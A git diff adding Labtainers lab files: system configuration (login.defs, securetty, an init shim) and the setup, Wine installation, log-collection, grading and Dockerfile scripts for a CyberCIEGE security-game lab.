+# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/sbin/faux_init new file mode 100755 index 000000000..1d6b3cedc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start +### Uncomment the while loop below +### if it is necessary to make sure parameterization has happened + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +###while [ ! -d "$PERMLOCKDIR" ] +###do +### sleep 2 +###done + +# PUT any daemon start (that need parameterization after while loop) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/bin/postzip b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/bin/postzip new file mode 100755 index 000000000..1b5310cef --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/bin/postzip @@ -0,0 +1,24 @@ +#!/usr/bin/env python +''' +postzip script for cyberciege. Extract the cyberciege log zip and tell +the student where to find it. +''' +import zipfile +from io import BytesIO +import sys +import os +home = os.getenv('HOME') +student_zip = sys.argv[1] +zf = zipfile.ZipFile(student_zip) +for info in zf.infolist(): + if '=' in info.filename: + uz = BytesIO(zf.read(info.filename)) + with zipfile.ZipFile(uz) as zfile2: + for name2 in zfile2.namelist(): + if name2.endswith('LogCollection.zip'): + logzip = zfile2.read(name2) + outfile = os.path.join(home, name2) + with open(outfile, 'w') as fh: + fh.write(logzip) + print('Extracted CyberCIEGE log zipfile to: %s' % outfile) + print('Provide that zipfile to your instructor.') diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/config/about.txt new file mode 100644 index 000000000..e49a8f5fe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/config/about.txt @@ -0,0 +1 @@ +The CyberCIEGE computer network security video game. https://my.nps.edu/web/c3o/cyberciege diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/config/start.config new file mode 100644 index 000000000..363b5c305 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/config/start.config @@ -0,0 +1,40 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER cyberciege + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED cyberciege_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER cyberciege + USER ubuntu + X11 YES diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_bin/fixlocal.sh new file mode 100755 index 000000000..1ad50061d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_bin/fixlocal.sh @@ -0,0 +1,27 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" +cd $HOME +#export WINEDLLOVERRIDES="mscoree,mshtml=" +#wine msiexec /i /var/tmp/wine-mono-4.7.1.msi +#export WINEDLLOVERRIDES="" +echo "Now install CyberCIEGE" +wine /var/tmp/setup1-9v8s.exe +mv $HOME/gstart.exe $HOME/.wine/drive_c/ +wine regedit $HOME/linuxnative.reg +mkdir -p "$HOME/.wine/drive_c/users/$USER/Application Data/CyberCIEGE" +ln -s "$HOME/.wine/drive_c/Program Files (x86)/CyberCIEGE/game/exec/encylo" "$HOME/.wine/drive_c/users/$USER/Application Data/CyberCIEGE/encylo" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_bin/prestop new file mode 100755 index 000000000..5974be65f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_bin/prestop @@ -0,0 +1,34 @@ +#!/usr/bin/env python +import zipfile +import os +import pwd +user=pwd.getpwuid(os.getuid()).pw_name +home = os.getenv('HOME') + +student_email_file=os.path.join(home, '.local', '.email') +if not os.path.isfile(student_email_file): + print('No email file at %s, exit.' % student_email_file) + exit(1) +fh = open(student_email_file) +student_email = fh.read().strip() + +ldirsuffix = '.wine/drive_c/users/%s/Application Data/CyberCIEGE' % user +fname = '%sLogCollection.zip' % student_email +zipoutfilename = os.path.join(home, fname) +zipoutput = zipfile.ZipFile(zipoutfilename, "w") +ldir = os.path.join(home,ldirsuffix) +flist = os.listdir(ldir) +os.chdir(ldir) +for f in flist: + if f == 'packetSource' or f == 'packetLogs': + continue + d = os.path.join('./', f) + if not os.path.isdir(d): + continue + for rootdir, subdirs, files in os.walk(d): + for f in files: + full = os.path.join(rootdir, f) + zipoutput.write(full, compress_type=zipfile.ZIP_DEFLATED) + print('wrote %s ' % (full)) + +zipoutput.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_bin/student_startup.sh new file mode 100755 index 000000000..cbf51b888 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_bin/student_startup.sh @@ -0,0 +1 @@ +wine cmd.exe /C runit.bat diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/gstart.exe b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/gstart.exe new file mode 100755 index 000000000..4fccd15e0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/gstart.exe @@ -0,0 +1,16 @@ +#!/bin/bash +fullname=$1 +fname=$(basename -- "$fullname") +extension="${fname##*.}" +echo "extension is $extension" +if [[ $extension == pdf ]]; then + OPEN_HANDLER="/usr/bin/xpdf" +fi +# convert the path +RESULT=$(winepath "$@" 2> /dev/null) +echo "$OPEN_HANDLER $RESULT" >> $LOG +TMP=$TMPDIR +TEMP=$TMPDIR +# finally open the file +$OPEN_HANDLER "$RESULT" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/linuxnative.reg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/linuxnative.reg new file mode 100644 index 000000000..f2bcfea22 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/linuxnative.reg @@ -0,0 +1,10 @@ +REGEDIT4 +[HKEY_CLASSES_ROOT\.pdf] +@="linuxnative" +"Content Type"="application/linuxnative" +[HKEY_CLASSES_ROOT\linuxnative] +[HKEY_CLASSES_ROOT\linuxnative\shell] +[HKEY_CLASSES_ROOT\linuxnative\shell\open] +[HKEY_CLASSES_ROOT\linuxnative\shell\open\command] +@="c:\\gstart.exe \"%1\"" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/runit.bat b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/runit.bat new file mode 100644 index 000000000..a5a6ca668 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/cyberciege/runit.bat @@ -0,0 +1,4 @@ +c: +cd "c:\program files (x86)\CyberCIEGE" +bat\runPlayer.bat + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/dockerfiles/Dockerfile.cyberciege.cyberciege.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/dockerfiles/Dockerfile.cyberciege.cyberciege.student new file mode 100644 index 000000000..2b6554ee4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/dockerfiles/Dockerfile.cyberciege.cyberciege.student @@ -0,0 +1,74 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.wine +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +#ENV APT_SOURCE $apt_source +ENV APT_SOURCE NOT +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +RUN apt-get update && apt-get install -y xchm xpdf + +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/docs/read_pre.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/docs/read_pre.txt new file mode 100644 index 000000000..bcc6a323d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/docs/read_pre.txt @@ -0,0 +1,16 @@ +The first run of this lab includes many installation prompts. +Please accept defaults for all installation prompts. +If a black dialog is displayed during installation, simply +close that dialog. + +** +An installation password is required, if you do not have that +password, do not continue. +** + +Students should get the installation password from their instructor. +U.S. government employees and instructors should contact cyberciege@nps.edu +For more information about CyberCIEGE, see https://my.nps.edu/web/c3o/cyberciege + +This version of CyberCIEGE will not display the tutorial videos from the +Encyclopedia. Please view the videos from https://my.nps.edu/web/c3o/movies diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/client/_system/sbin/faux_init 